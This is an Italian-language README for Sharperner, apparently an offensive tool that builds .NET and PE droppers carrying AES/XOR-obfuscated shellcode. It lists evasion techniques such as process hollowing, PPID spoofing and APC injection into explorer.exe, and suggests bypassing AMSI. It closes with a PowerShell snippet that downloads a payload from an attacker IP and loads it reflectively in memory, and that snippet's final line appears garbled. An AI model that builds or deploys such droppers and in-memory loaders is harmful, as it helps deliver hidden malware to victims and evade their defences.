Sharperner

Sharperner è uno strumento scritto in CSharp che genera un dropper .NET con shellcode offuscato tramite AES e XOR. L'eseguibile generato può potenzialmente bypassare il controllo delle firme, ma non posso essere sicuro che possa bypassare la scansione euristica.

Caratteristiche

Binary PE

• Process Hollowing
• PPID Spoofing
• Chiave AES e IV generati casualmente
• Il shellcode finale, la chiave e l'IV sono tradotti in codice morse :)

Binary .NET

• Shellcode crittografato con AES + XOR
• APC Process Injection (explorer.exe)
• Nomi di funzioni generati casualmente
• Chiave AES e IV generati casualmente
• Il shellcode finale, la chiave e l'IV sono tradotti in codice morse :)

Utilizzo

/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

Suggerimento

Per evitare di toccare il disco, l'eseguibile .NET generato può essere caricato in modo riflessivo con PowerShell. AMSI è ora il nemico, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()